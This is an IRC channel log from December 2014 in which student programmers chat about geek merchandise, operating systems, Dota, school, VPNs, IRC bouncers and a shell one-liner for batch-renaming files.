[2014-12-03T00:08:15-0500] <Tam> :P
[2014-12-03T00:08:27-0500] <Tam> also i was this close to buying myself a homestuck hoodie because warm
[2014-12-03T00:08:34-0500] <Tam> but i realized i wasnt ready to be that publically geeky
[2014-12-03T00:08:44-0500] <nezorg> Tam: several of my friends have homestuck hoodies...
[2014-12-03T00:08:53-0500] <nezorg> although they're fairly discreet
[2014-12-03T00:09:28-0500] <nezorg> also thinkgeek shirts are fairly uncomfortable :C
[2014-12-03T00:09:34-0500] <nezorg> except they have some now that are AA
[2014-12-03T00:09:36-0500] <nezorg> which is good
[2014-12-03T00:09:45-0500] <Tam> there's so many new charms here
[2014-12-03T00:09:49-0500] <Tam> and ooh nice
[2014-12-03T00:10:00-0500] <Tam> i really want to start gathering a collection of thinkgeek charms at this point
[2014-12-03T00:10:02-0500] <Tam> because they are much amaze
[2014-12-03T00:10:05-0500] <Tam> so cute
[2014-12-03T00:10:15-0500] <nezorg> wow
[2014-12-03T00:10:33-0500] • nezorg: cues the comic sans
[2014-12-03T00:11:21-0500] <+LittleBobbyTables> !ban nezor
[2014-12-03T00:11:23-0500] <+LittleBobbyTables> !ban nezorg
[2014-12-03T00:11:45-0500] <nezorg> I would totally buy some of this jewelry if I didn't look ridiculous enough already
[2014-12-03T00:11:51-0500] <@awe> !kick LittleBobbyTables 
[2014-12-03T00:12:29-0500] <Tam> LOL
[2014-12-03T00:12:34-0500] <Tam> but ok like
[2014-12-03T00:12:40-0500] <Tam> these charms tho
[2014-12-03T00:12:42-0500] <Tam> my fandoms
[2014-12-03T00:12:44-0500] <Tam> everywhere
[2014-12-03T00:13:56-0500] <nezorg> https://www.thinkgeek.com/product/19fe/ just what I need for my room
[2014-12-03T00:14:25-0500] <@awe> All I need for my room is a computer with OS X, a bag of weed, and a vape.
[2014-12-03T00:14:29-0500] <@awe> :+1:
[2014-12-03T00:14:52-0500] <nezorg> why OS X?
[2014-12-03T00:14:53-0500] <@awe> Except I don't actually smoke that much.
[2014-12-03T00:15:08-0500] <@awe> I really like Unix, but I hate the lack of polish that's associated with using it.
[2014-12-03T00:15:28-0500] <nezorg> you mean you *don't* like fixing driver issues every other reboot?
[2014-12-03T00:15:33-0500] <@awe> Not one bit.
[2014-12-03T00:15:55-0500] <nezorg> fair enough
[2014-12-03T00:15:57-0500] <@awe> FreeBSD is actually good about that.
[2014-12-03T00:16:04-0500] <nezorg> I guess there's a reason I still have my OS X partition...
[2014-12-03T00:16:11-0500] <@awe> But uhh, there's still the having to configure everything and everything looks *awful*
[2014-12-03T00:16:15-0500] <@awe> I like how Unity looks.
[2014-12-03T00:16:25-0500] <@awe> Unity is one of the few nice looking open source projects that aren't web browsers.
[2014-12-03T00:16:35-0500] <+LittleBobbyTables> !ddg hackintosh gtx 970 i5 4690k
[2014-12-03T00:16:35-0500] <@awe> (For some reason, open source web browsers are all pretty nice looking)
[2014-12-03T00:16:38-0500] <@awe> LittleBobbyTables: @ddg
[2014-12-03T00:16:43-0500] <+LittleBobbyTables> damn it
[2014-12-03T00:16:49-0500] <+LittleBobbyTables> @ddg hackintosh gtx 970 i5 4690k
[2014-12-03T00:16:49-0500] <awebot> LittleBobbyTables: https://duckduckgo.com/?q=hackintosh+gtx+970+i5+4690k
[2014-12-03T00:17:05-0500] <Tam> omg han solo
[2014-12-03T00:17:05-0500] <Tam> LOL
[2014-12-03T00:17:13-0500] <+LittleBobbyTables> wow
[2014-12-03T00:17:18-0500] <+LittleBobbyTables> It doesn't even do the search for me
[2014-12-03T00:17:21-0500] <+LittleBobbyTables> wtf is the point of that command
[2014-12-03T00:17:41-0500] <@awe> I don't have to open my browser.
[2014-12-03T00:17:53-0500] <@awe> And I primarily use DDG for bangs anyway.
[2014-12-03T00:17:55-0500] <@awe> So, for example:
[2014-12-03T00:18:01-0500] <@awe> @ddg !w context-free grammar
[2014-12-03T00:18:01-0500] <awebot> awe: https://duckduckgo.com/?q=!w+context-free+grammar
[2014-12-03T00:18:09-0500] <@awe> That's a link directly to a Wikipedia article on context-free grammars.
[2014-12-03T00:20:00-0500] <nezorg> (all this thinkgeek discussion has made me realize, maybe there *is* a reason why girls aren't interested in me...)
[2014-12-03T00:20:01-0500] <nezorg> :P
[2014-12-03T00:20:19-0500] <@awe> Nah, they definitely are.
[2014-12-03T00:20:28-0500] <+LittleBobbyTables> No, they're just interested in his money.
[2014-12-03T00:20:42-0500] <nezorg> awe: well, at least not at my school
[2014-12-03T00:22:00-0500] <Hyper> awe: dem bangs <3
[2014-12-03T00:22:21-0500] <@awe> I honestly never actually search the internet for anything other than like... Wikipedia.
[2014-12-03T00:22:30-0500] <@awe> Or Stack Overflow.
[2014-12-03T00:22:38-0500] <+LittleBobbyTables> I wonder if a hackintosh is worth.
[2014-12-03T00:22:42-0500] <nezorg> main reason I use google: obscure mailing lists
[2014-12-03T00:22:46-0500] <@awe> It's a lot of work.
[2014-12-03T00:22:50-0500] <nezorg> nothing else seems to match google in that regard
[2014-12-03T00:23:44-0500] <@awe> I do actual searching for...
[2014-12-03T00:23:46-0500] <@awe> Spec sheets.
[2014-12-03T00:23:47-0500] <@awe> That's about it.
[2014-12-03T00:24:01-0500] <@awe> My browsing habits are hilarious though.
[2014-12-03T00:24:18-0500] <@awe> It's basically just me with twenty github tabs open, as well as a bunch of rustdocs.
[2014-12-03T00:25:47-0500] <Tam> nezorg: wait but
[2014-12-03T00:25:50-0500] <Tam> thinkgeek discussions are oka
[2014-12-03T00:25:51-0500] <Tam> y
[2014-12-03T00:25:55-0500] <Tam> why would girls not like you for that
[2014-12-03T00:26:22-0500] <nezorg> Tam: I was referring to my appearance :P
[2014-12-03T00:26:39-0500] <Tam> also awe: oh
[2014-12-03T00:26:43-0500] <Tam> wait
[2014-12-03T00:26:49-0500] <Tam> that was two different responses
[2014-12-03T00:26:56-0500] <Tam> nezorg: lol oh but you're so adorable and little and cute
[2014-12-03T00:27:19-0500] <Tam> awe: your new propic lol
[2014-12-03T00:27:26-0500] <@awe> What about it?
[2014-12-03T00:27:29-0500] <Tam> I like it.
[2014-12-03T00:27:44-0500] <@awe> Me too.
[2014-12-03T00:28:00-0500] <@awe> I'm considering replacing my Aaron Weiss text image everywhere with it.
[2014-12-03T00:28:09-0500] <Tam> hehe
[2014-12-03T00:28:09-0500] <+LittleBobbyTables> nezorg
[2014-12-03T00:28:12-0500] <Tam> I still have that
[2014-12-03T00:28:15-0500] <+LittleBobbyTables> how adorable and little and cute are you?
[2014-12-03T00:28:15-0500] <Tam> portrait of you on my desk
[2014-12-03T00:28:31-0500] <nezorg> LittleBobbyTables: not very
[2014-12-03T00:28:38-0500] <+LittleBobbyTables> So she's a liar?
[2014-12-03T00:28:54-0500] <nezorg> I'm somewhere in the middle: neither cute nor handsome
[2014-12-03T00:28:55-0500] <nezorg> :P
[2014-12-03T00:29:09-0500] <+LittleBobbyTables> Prove it
[2014-12-03T00:29:50-0500] <Tam> he's actually
[2014-12-03T00:29:52-0500] <Tam> really really cute
[2014-12-03T00:29:56-0500] <Tam> like a little boy
[2014-12-03T00:30:02-0500] <@awe> I'm p cute.
[2014-12-03T00:30:07-0500] <Tam> awe is also very cute
[2014-12-03T00:30:25-0500] <nezorg> LittleBobbyTables: https://imgur.com/0bFb9qo
[2014-12-03T00:30:52-0500] <+LittleBobbyTables> That doesn't seem very little boyish
[2014-12-03T00:31:09-0500] <+LittleBobbyTables> You know, for some reason, I didn't expect so white.
[2014-12-03T00:31:11-0500] <Tam> he looks cuter irl
[2014-12-03T00:31:12-0500] <Tam> he's like
[2014-12-03T00:31:13-0500] <Tam> small
[2014-12-03T00:31:17-0500] <Tam> and ^^^^^ THAT WAS ME
[2014-12-03T00:31:24-0500] <Tam> i didn't expect him to be so aryan.
[2014-12-03T00:31:26-0500] <@awe> LittleBobbyTables: I don't think anybody expecting him to be so white.
[2014-12-03T00:31:41-0500] <+LittleBobbyTables> That English, though
[2014-12-03T00:31:47-0500] <nezorg> I'm not english :P
[2014-12-03T00:31:59-0500] <nezorg> aryan is much closer
[2014-12-03T00:32:17-0500] <@awe> nezorg: are you polish?
[2014-12-03T00:32:31-0500] <nezorg> awe: nah, aryan's actually almost on the dot
[2014-12-03T00:32:34-0500] <nezorg> half german, half danish
[2014-12-03T00:32:36-0500] <@awe> Ah, okay.
[2014-12-03T00:32:45-0500] <@awe> I thought since you said close you would be polish.
[2014-12-03T00:32:51-0500] <@awe> German-Danish is Aryan.
[2014-12-03T00:33:00-0500] <@awe> Like, legitimately.
[2014-12-03T00:33:02-0500] <nezorg> yeah
[2014-12-03T00:33:06-0500] <nezorg> I guess
[2014-12-03T00:33:09-0500] <@awe> Scandinavians are Aryan, and so are a lot of Germans.
[2014-12-03T00:34:55-0500] <alokpathy> G'night guys
[2014-12-03T00:35:04-0500] <+LittleBobbyTables> http://gyazo.com/d4ae3a6b01ddaf3fca579281ea7e27f8
[2014-12-03T00:35:11-0500] <+LittleBobbyTables> Best hero's ever
[2014-12-03T00:35:27-0500] <+LittleBobbyTables> Imba Spirit, Broken Mage, Cancer Lancer.
[2014-12-03T00:35:30-0500] <nezorg> LittleBobbyTables: PL? lolnope
[2014-12-03T00:35:38-0500] <+LittleBobbyTables> pls
[2014-12-03T00:35:48-0500] <+LittleBobbyTables> Have you played 682 pl
[2014-12-03T00:35:51-0500] <+LittleBobbyTables> Literally free mmr
[2014-12-03T00:36:00-0500] <Tam> jesus christ
[2014-12-03T00:36:02-0500] <Tam> nezorg plays dota
[2014-12-03T00:36:03-0500] <Tam> LOL
[2014-12-03T00:36:18-0500] <nezorg> LittleBobbyTables: he got significantly worse with 6.82
[2014-12-03T00:36:29-0500] <nezorg> Tam: not much (thankfully)
[2014-12-03T00:36:46-0500] <+LittleBobbyTables> uhh
[2014-12-03T00:36:46-0500] <+LittleBobbyTables> wut
[2014-12-03T00:37:07-0500] <+LittleBobbyTables> Invulnerability every 12 seconds
[2014-12-03T00:37:14-0500] <+LittleBobbyTables> Instantly full army of illusions
[2014-12-03T00:37:41-0500] <nezorg> that last for no time
[2014-12-03T00:37:50-0500] <+LittleBobbyTables> They still get feedback
[2014-12-03T00:38:03-0500] <+LittleBobbyTables> It's an extra, what, 400 damage
[2014-12-03T00:38:22-0500] <nezorg> it's alright early, maybe mid, game, but it's not very useful late
[2014-12-03T00:38:42-0500] <+LittleBobbyTables> It's amazing late
[2014-12-03T00:38:50-0500] <+LittleBobbyTables> Get jumped on, go invuln, bkb out
[2014-12-03T00:38:55-0500] <+LittleBobbyTables> EZ fight
[2014-12-03T00:39:20-0500] <+LittleBobbyTables> They last 8 seconds, that's a significant amount of time.
[2014-12-03T00:39:31-0500] <+LittleBobbyTables> wait jk
[2014-12-03T00:39:41-0500] <+LittleBobbyTables> wrong one
[2014-12-03T00:39:42-0500] <+LittleBobbyTables> That's only two
[2014-12-03T00:39:55-0500] <+LittleBobbyTables> Still, he's really easy mmr lol
[2014-12-03T00:40:05-0500] <+LittleBobbyTables> He was like pre nerf kaolin
[2014-12-03T00:40:40-0500] <@awe> Oh god.
[2014-12-03T00:43:52-0500] <nezorg> http://steamcommunity.com/id/aaronweiss74/games/?tab=all
[2014-12-03T00:43:55-0500] <nezorg> > 221 items
[2014-12-03T00:43:56-0500] <nezorg> > wut
[2014-12-03T00:44:00-0500] <@awe> Yeah.
[2014-12-03T00:44:05-0500] <@awe> Tons of games.
[2014-12-03T00:44:09-0500] <Tam> awe omg
[2014-12-03T00:44:11-0500] <Tam> how do you have the time
[2014-12-03T00:44:15-0500] <Tam> ooh bastion
[2014-12-03T00:44:15-0500] <Tam> <3
[2014-12-03T00:44:17-0500] <@awe> I don't play any of them.
[2014-12-03T00:44:29-0500] <Tam> someone should
[2014-12-03T00:44:33-0500] <Tam> half life 2 co-op with me sometime
[2014-12-03T00:44:40-0500] <Tam> i mean
[2014-12-03T00:44:41-0500] <Tam> portal 2
[2014-12-03T00:44:44-0500] <Tam> jesus words
[2014-12-03T00:45:00-0500] <+LittleBobbyTables> uhh
[2014-12-03T00:45:04-0500] <+LittleBobbyTables> please
[2014-12-03T00:45:17-0500] <+LittleBobbyTables> I have more than that on my smurf accounts
[2014-12-03T00:45:45-0500] <@awe> Smurf steam accounts?
[2014-12-03T00:45:46-0500] <@awe> What?
[2014-12-03T00:46:30-0500] <nezorg> well, for dota
[2014-12-03T00:46:36-0500] <+LittleBobbyTables> I thought it was inventory before games
[2014-12-03T00:46:37-0500] <+LittleBobbyTables> But still
[2014-12-03T00:46:39-0500] <+LittleBobbyTables> I have like
[2014-12-03T00:46:43-0500] <+LittleBobbyTables> 400 games across all my accounts
[2014-12-03T00:46:57-0500] <nezorg> we've all seen the star wars trailer, right?
[2014-12-03T00:47:12-0500] <nezorg> and the resulting debate over the lightsaber design?
[2014-12-03T00:47:57-0500] <nezorg> well I'm pretty sure the internet has achieved its purpose when this gif was posted: https://i.imgur.com/BGEszft.gif
[2014-12-03T00:48:27-0500] <@awe> Lol, I haven't seen either such thing.
[2014-12-03T00:50:02-0500] <Tam> omg
[2014-12-03T00:50:07-0500] <Tam> nezorg: is this your version of studying? :P
[2014-12-03T00:50:51-0500] <nezorg> Tam: yes totally
[2014-12-03T00:50:56-0500] <nezorg> I have gotten close to no work done today
[2014-12-03T00:51:34-0500] <nezorg> on the upside, I presented two problems in math today and the class (and the prof) really liked both of my solutions :P
[2014-12-03T00:52:14-0500] <@awe> presenting problems in math?
[2014-12-03T00:52:15-0500] <@awe> what?
[2014-12-03T00:52:33-0500] <nezorg> yeah
[2014-12-03T00:52:38-0500] <nezorg> well
[2014-12-03T00:52:40-0500] <@awe> My math class is sitting down and feigning some semblance of attention to the small, quiet asian lady talking in the front of the room while in all actuality, I'm just texting or programming or just doing nothing.
[2014-12-03T00:52:42-0500] <nezorg> I should say presenting solutions
[2014-12-03T00:54:29-0500] <Tam> nezorg: we need to motivate each other to study, i think
[2014-12-03T00:54:30-0500] <Tam> :P
[2014-12-03T00:54:36-0500] <Tam> you have a 3 hour edge on me though, its so unfair.
[2014-12-03T00:54:44-0500] <@awe> I read motivate as masturbate there. I was confused.
[2014-12-03T00:54:52-0500] <nezorg> ...
[2014-12-03T00:54:53-0500] <nezorg> wat
[2014-12-03T00:55:55-0500] <+LittleBobbyTables> awe
[2014-12-03T00:56:01-0500] <+LittleBobbyTables> Were you participating in nofap november
[2014-12-03T00:56:15-0500] <@awe> Lol, no.
[2014-12-03T00:56:19-0500] <+LittleBobbyTables> lmao
[2014-12-03T00:56:34-0500] <@awe> I did no shave though.
[2014-12-03T00:57:02-0500] <+LittleBobbyTables> That half an inch?
[2014-12-03T00:57:18-0500] <@awe> No, the picture was after I shaved.
[2014-12-03T00:57:22-0500] <Tam> damn
[2014-12-03T00:57:24-0500] <@awe> I had a fairly long beard.
[2014-12-03T00:57:27-0500] <@awe> Not that long.
[2014-12-03T00:57:27-0500] <Tam> i wanted to see you with that glorious bear
[2014-12-03T00:57:27-0500] <Tam> d
[2014-12-03T00:57:28-0500] <@awe> But it was full.
[2014-12-03T00:57:43-0500] <@awe> I hated it.
[2014-12-03T00:57:58-0500] <+LittleBobbyTables> awe, tamini wants to see you inside a bear.
[2014-12-03T00:58:01-0500] <+LittleBobbyTables> I think she dislikes you.
[2014-12-03T00:58:09-0500] <@awe> No, she wants to see me with a bear.
[2014-12-03T00:58:26-0500] <Tam> i love awe, what are you talking about
[2014-12-03T00:58:30-0500] <Tam> awe is my favorite person ever
[2014-12-03T00:59:02-0500] <nezorg> she wants to see you *with* a bear
[2014-12-03T00:59:14-0500] <nezorg> wow
[2014-12-03T00:59:26-0500] <nezorg> usually my filter would have caught that
[2014-12-03T00:59:28-0500] <+LittleBobbyTables> I feel bad for the UK.
[2014-12-03T00:59:30-0500] <+LittleBobbyTables> http://www.independent.co.uk/news/uk/a-long-list-of-sex-acts-just-got-banned-in-uk-porn-9897174.html
[2014-12-03T00:59:34-0500] <nezorg> I must need sleep
[2014-12-03T01:00:00-0500] <nezorg> LittleBobbyTables: sounds like the uk
[2014-12-03T01:03:11-0500] <nezorg> alright, I'm going to bed too
[2014-12-03T01:03:18-0500] <nezorg> 'night, everyone
[2014-12-03T01:03:19-0500] <@awe> Good night.
[2014-12-03T01:04:34-0500] <Tam> good night
[2014-12-03T01:04:37-0500] <+LittleBobbyTables> afk
[2014-12-03T01:04:39-0500] <Tam> and again i'm losing to the guy in pst
[2014-12-03T01:06:07-0500] <nezorg> Tam: I just have a low tolerance for sleep deprivation
[2014-12-03T01:10:12-0500] <@awe> What is sleep?
[2014-12-03T01:11:33-0500] <nezorg> essential for my functioning
[2014-12-03T01:11:52-0500] <Tam> for mine too but
[2014-12-03T01:11:55-0500] <Tam> who even needs to function
[2014-12-03T01:12:51-0500] <nezorg> with less than eight hours I can notice a performance decrease
[2014-12-03T01:12:55-0500] <nezorg> it's annoying
[2014-12-03T01:13:49-0500] <@awe> A performance decrease?
[2014-12-03T01:13:49-0500] <@awe> What?
[2014-12-03T01:13:57-0500] <@awe> Do you holistically measure your own performance or something?
[2014-12-03T01:14:29-0500] <nezorg> sort of
[2014-12-03T01:14:55-0500] <@awe> I don't notice any difference in how much I sleep.
[2014-12-03T01:15:08-0500] <@awe> I tend not to feel tired during the day while I'm doing stuff, regardless of how much I slept.
[2014-12-03T01:19:12-0500] <+LittleBobbyTables> Polyphasic sleeping is op
[2014-12-03T01:19:21-0500] <+LittleBobbyTables> Ugh
[2014-12-03T01:19:30-0500] <+LittleBobbyTables> Should I go to school these next two days
[2014-12-03T01:19:33-0500] <+LittleBobbyTables> One day is a new thing
[2014-12-03T01:19:36-0500] <+LittleBobbyTables> The other day is a review.
[2014-12-03T01:19:41-0500] <+LittleBobbyTables> I only have one class each day.
[2014-12-03T01:19:44-0500] <+LittleBobbyTables> Then no more school.
[2014-12-03T01:25:52-0500] <nezorg> you people with uni's on the semester schedule
[2014-12-03T01:26:31-0500] <Tam> lol
[2014-12-03T01:26:35-0500] <Tam> i just dont like doing homework
[2014-12-03T01:26:36-0500] <Tam> its terrible
[2014-12-03T01:27:58-0500] <@awe> My math homework takes like ten minutes.
[2014-12-03T01:28:02-0500] <@awe> It's like six problems.
[2014-12-03T01:28:12-0500] <@awe> Other than that, there really isn't any homework.
[2014-12-03T01:28:25-0500] <@awe> Unless you count quick CS quizzes and stuff.
[2014-12-03T01:28:31-0500] <@awe> There's projects for CS, but those aren't bad.
[2014-12-03T01:28:38-0500] <@awe> And I have >100% in them.
[2014-12-03T01:35:18-0500] <+LittleBobbyTables> I'm in quarter schedules.
[2014-12-03T01:35:26-0500] <+LittleBobbyTables> Man, I should totally pay someone to do parts of my homework
[2014-12-03T01:39:01-0500] <nezorg> https://www.xiph.org/~xiphmont/demo/neil-young.html
[2014-12-03T01:39:20-0500] <nezorg> it's pretty funny to see audiophiles claim 24bit/192kHz is better
[2014-12-03T01:40:47-0500] <@awe> It is?
[2014-12-03T01:41:11-0500] <@awe> I'm reading this now.
[2014-12-03T01:42:54-0500] <nezorg> okay, actually sleeping now
[2014-12-03T01:42:58-0500] <nezorg> good night for real
[2014-12-03T01:43:44-0500] <Tam> gn
[2014-12-03T01:46:48-0500] <@awe> This is interesting.
[2014-12-03T01:46:54-0500] <Tam> hm?
[2014-12-03T01:55:43-0500] <@awe> The thing he linked.
[2014-12-03T01:55:53-0500] <Tam> ah, okay
[2014-12-03T02:19:22-0500] <+LittleBobbyTables> awe, are you still up
[2014-12-03T02:19:25-0500] Tam (Tamini@pdgn-lcu.rjq.2ssb8g.IP) left IRC (Ping timeout: 121 seconds)
[2014-12-03T02:19:36-0500] <@awe> Yeah.
[2014-12-03T02:20:00-0500] <+LittleBobbyTables> Wanna start a small business, and get a bizspark account? Free Microsoft shit that we could sell to people.
[2014-12-03T02:20:24-0500] <@awe> I have one.
[2014-12-03T02:20:36-0500] <+LittleBobbyTables> damn
[2014-12-03T02:20:42-0500] <+LittleBobbyTables> How ez was it
[2014-12-03T02:20:47-0500] <@awe> I work at a startup.
[2014-12-03T02:20:50-0500] <@awe> We have them legit.
[2014-12-03T02:21:04-0500] <+LittleBobbyTables> Oh, damn.
[2014-12-03T02:21:58-0500] <+LittleBobbyTables> Well, wanna make a new one
[2014-12-03T02:22:18-0500] <@awe> Nah.
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[2014-12-03T11:13:54-0500] <JacobEdelman> oh my god
[2014-12-03T11:13:54-0500] <JacobEdelman> in england
[2014-12-03T11:13:54-0500] <JacobEdelman> there is a "shadow cabinet"
[2014-12-03T11:16:18-0500] <JacobEdelman> its so cool
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[2014-12-03T13:28:11-0500] <nezorg> isn't 97% cpu usage fun
[2014-12-03T13:29:24-0500] <nezorg> RIP battery
[2014-12-03T13:34:28-0500] <nezorg> huh
[2014-12-03T13:34:30-0500] <nezorg> that went quickly
[2014-12-03T13:38:51-0500] <nezorg> hey guys
[2014-12-03T13:38:57-0500] <nezorg> best vpn?
[2014-12-03T13:39:04-0500] <nezorg> I want to be able to read github gists from school...
[2014-12-03T13:47:30-0500] <nezorg> I guess PIA is a good choice?
[2014-12-03T13:47:46-0500] <nezorg> seems like a good place to use my soon-to-arrive bitcoins
[2014-12-03T13:48:34-0500] <@awe> nezorg: PIA is excellent.
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[2014-12-03T14:03:08-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg
[2014-12-03T14:03:08-0500] Set by awe on November 28, 2014 at 8:36:42 PM EST
[2014-12-03T14:03:08-0500] Mode is +ns
[2014-12-03T14:03:17-0500] <nezorg> I still can't believe the district actually blocks github gist and sourceforce on the basis of "freeware and shareware"
[2014-12-03T14:04:10-0500] <@awe> My school district used to block sorceforge but not github.
[2014-12-03T14:46:57-0500] <JacobEdelman> I'm going with PIA
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[2014-12-03T16:22:51-0500] <@awe> nezorg: http://www.rust-ci.org/jcmoyer/rust-lua53/doc/lua/wrapper/state/index.html
[2014-12-03T16:22:55-0500] <@awe> JacobEdelman: I use PIA. It's great.
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[2014-12-03T18:02:37-0500] <Tami> wait huh
[2014-12-03T18:02:40-0500] <Tami> my irc borked really hard
[2014-12-03T18:02:43-0500] <Tami> what even
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[2014-12-03T18:19:51-0500] <@awe> Tam: how so?
[2014-12-03T18:20:09-0500] <@awe> Hyper: http://pastie.org/9759299
[2014-12-03T18:20:11-0500] <@awe> Hyper: I hate you.
[2014-12-03T18:20:35-0500] <Hyper> awe: sorry, the internet at school dies sometimes x.x
[2014-12-03T18:20:40-0500] <@awe> Lol, it's okay.
[2014-12-03T18:20:43-0500] <@awe> It's not that bad.
[2014-12-03T18:20:46-0500] <Tam> my irc like
[2014-12-03T18:20:50-0500] <Tam> crashed then stayed logged in 
[2014-12-03T18:20:53-0500] <Tam> for longer than I expected
[2014-12-03T18:20:56-0500] <@awe> Hyper: But you need to get yourself a bouncer for sure. ;)
[2014-12-03T18:20:58-0500] <Tam> also awe can i get the bouncer info again?
[2014-12-03T18:21:03-0500] <Hyper> awe: I know x.x
[2014-12-03T18:23:59-0500] <@awe> Hyper: do itt.
[2014-12-03T18:24:06-0500] <Hyper> awe: I'm tryiiing
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[2014-12-03T18:27:26-0500] <+Tamini> oh yay
[2014-12-03T18:29:30-0500] <@awe> Tamini: yay!
[2014-12-03T18:30:30-0500] <+Tamini> time to now migrate freenode things
[2014-12-03T18:30:40-0500] <+Tamini> except uh wait darn
[2014-12-03T18:30:44-0500] <+Tamini> instructions are in other buffer
[2014-12-03T18:35:19-0500] <@awe> I can resend
[2014-12-03T18:35:36-0500] <+Tamini> thanks, awe
[2014-12-03T18:37:34-0500] <@awe> This is a message that is completely unique.
[2014-12-03T18:37:44-0500] <@awe> I needed to test if I made these changes correctly.
[2014-12-03T18:38:00-0500] <@awe> I turned off global logging since I don't want to have access to your private conversations.
[2014-12-03T18:38:43-0500] <+Tamini> lol
[2014-12-03T18:38:47-0500] <+Tamini> you don't? :P
[2014-12-03T18:39:03-0500] <+Tamini> so unlike nezorg who was like "ill host you as long as i can read errything"
[2014-12-03T18:39:25-0500] <nezorg> not as long as
[2014-12-03T18:39:39-0500] <nezorg> just that the one I'm using doesn't really allow me not to
[2014-12-03T18:40:14-0500] <@awe> I just switched from the global logging module to the individual one.
[2014-12-03T18:40:17-0500] <@awe> No big deal.
[2014-12-03T18:40:20-0500] <@awe> Hyper: do you want an account?
[2014-12-03T18:41:03-0500] <Hyper> awe: sure, why not?
[2014-12-03T18:41:17-0500] <@awe> K, give me a efw.
[2014-12-03T18:41:18-0500] <@awe> few*
[2014-12-03T18:41:21-0500] <@awe> I'll PM you with details.
[2014-12-03T18:41:41-0500] <@awe> Anyone know how to batch rename files easily?
[2014-12-03T18:41:44-0500] <@awe> Basically, something like
[2014-12-03T18:41:51-0500] <@awe> mv awe_* *
[2014-12-03T18:42:07-0500] <@awe> Does that work?
[2014-12-03T18:42:12-0500] <nezorg> no
[2014-12-03T18:42:21-0500] <@awe> I basically want to remove the awe_ prefix on everything.
[2014-12-03T18:42:25-0500] <nezorg> I think I used find + sed
[2014-12-03T18:42:29-0500] <nezorg> ugly but it worked
[2014-12-03T18:42:37-0500] <bob_twinkles> ^ that's about the best option AFAIK
[2014-12-03T18:42:58-0500] <bob_twinkles> if the filenames have spaces you probably need to save it in a file and then pipe that to (while read)
[2014-12-03T18:43:07-0500] <@awe> for f in `ls dev.domain.com* | cut -c5-`; do mv "dev."$f $f; done
[2014-12-03T18:43:16-0500] <@awe> They don't have spaces.
[2014-12-03T18:43:25-0500] <bob_twinkles> run it with echo instead of mv first
[2014-12-03T18:43:28-0500] <bob_twinkles> and verify
[2014-12-03T18:43:31-0500] <@awe> bob_twinkles: good call.
[2014-12-03T18:44:27-0500] <@awe> Yeah.
[2014-12-03T18:44:28-0500] <@awe> It works.
[2014-12-03T18:45:53-0500] <@awe> This is another unique message.
[2014-12-03T18:46:11-0500] <@awe> Okay, I lost the past ten minutes of logs.
[2014-12-03T18:46:13-0500] <@awe> But uhh, whatever.
[2014-12-03T18:46:23-0500] <+Tamini> what did you do :P
[2014-12-03T18:46:30-0500] <@awe> They were logging in the one folder
[2014-12-03T18:46:33-0500] <@awe> and I overwrote them.
[2014-12-03T18:46:42-0500] <@awe> Because they should've been appended to the existing files
[2014-12-03T18:46:52-0500] <@awe> It's whatever.
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[2014-12-03T19:05:50-0500] <+Tamini> try #2 :P
[2014-12-03T19:17:01-0500] <JacobEdelman> `wait
[2014-12-03T19:17:05-0500] <JacobEdelman> an account on what?
[2014-12-03T19:17:13-0500] <JacobEdelman> what is hyper getting an account on?
[2014-12-03T19:17:57-0500] <+Tamini> znc man
[2014-12-03T19:18:04-0500] <+Tamini> because he keeps crashing
[2014-12-03T19:19:06-0500] <JacobEdelman> ah, okay
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[2014-12-03T19:24:55-0500] <Hyper> subject to spotty internet while in CS class, to be accurate
[2014-12-03T19:25:38-0500] <Hyper> it's only there, too
[2014-12-03T19:25:42-0500] <Hyper> which is really weird
[2014-12-03T19:35:40-0500] <JacobEdelman> oh  my god
[2014-12-03T19:35:45-0500] <JacobEdelman> ipython is amazing
[2014-12-03T19:35:53-0500] <JacobEdelman> why have I not discovered this before
[2014-12-03T19:37:22-0500] <bob_twinkles> does it have python3 support now?
[2014-12-03T19:37:36-0500] <bob_twinkles> last time I looked at it it was python2 only which was pretty meh
[2014-12-03T19:40:14-0500] <+hardmath123> IPython is nice when you use it in scipy mode (+numpy +scipy +matplotlib)
[2014-12-03T19:40:47-0500] <+hardmath123> From my experience, it's not that useful when writing substantial software.
[2014-12-03T19:41:26-0500] <nezorg> hardmath123: ever used its notebook?
[2014-12-03T19:41:37-0500] <nezorg> bob_twinkles: yeah, it supports py3k now
[2014-12-03T19:41:48-0500] <bob_twinkles> shiny
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[2014-12-03T19:49:30-0500] <+hardmath123> nezorg: no, just the cli version
[2014-12-03T20:09:04-0500] <+hardmath123> crud, just found a 3-month-overdue library book
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[2014-12-03T20:21:22-0500] <alokpathy> hardmath123: School library or public library?
[2014-12-03T20:23:23-0500] <+hardmath123> alokpathy: school library. they're pretty chill about it, but they sent me an email saying "we need to talk"
[2014-12-03T20:27:03-0500] <alokpathy> uh oh
[2014-12-03T20:27:13-0500] <alokpathy> lol I once checked out a book in the first month of school
[2014-12-03T20:27:19-0500] <alokpathy> and didn't give it back until the last month
[2014-12-03T20:27:32-0500] <JacobEdelman> that happened to me
[2014-12-03T20:27:38-0500] <JacobEdelman> but I don't think we had due data
[2014-12-03T20:27:40-0500] <JacobEdelman> *dates
[2014-12-03T20:27:43-0500] <JacobEdelman> so it was fine
[2014-12-03T20:28:01-0500] <alokpathy> We have due dates
[2014-12-03T20:28:05-0500] <alokpathy> there's just no consequence
[2014-12-03T20:28:08-0500] <JacobEdelman> of course, my families habit of having over 50 library books out at once has caused problems
[2014-12-03T20:28:22-0500] <JacobEdelman> we once had to pay a 100 dollar fine
[2014-12-03T20:28:27-0500] <JacobEdelman> (it was for several over due books)
[2014-12-03T20:28:42-0500] <alokpathy> The library must have loved that profit
[2014-12-03T20:28:44-0500] <JacobEdelman> so we like to think we do our part to support the local librart :P
[2014-12-03T20:31:09-0500] <+hardmath123> It's fine as long as fine < cost of book on amazon
[2014-12-03T20:36:15-0500] <JacobEdelman> so cool
[2014-12-03T20:36:16-0500] <JacobEdelman> https://news.ycombinator.com/item?id=8696478
[2014-12-03T20:44:01-0500] <+hardmath123> hehe, speaking of Lisp dialects, look what's trending: http://docs.hylang.org/en/latest/
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[2014-12-03T21:30:57-0500] <alokpathy> Tamini: Why are you the owner of easyctf so strange
[2014-12-03T21:31:25-0500] <+Tamini> wait
[2014-12-03T21:31:26-0500] <+Tamini> i am/
[2014-12-03T21:31:32-0500] <alokpathy> Yes
[2014-12-03T21:31:35-0500] <alokpathy> go check
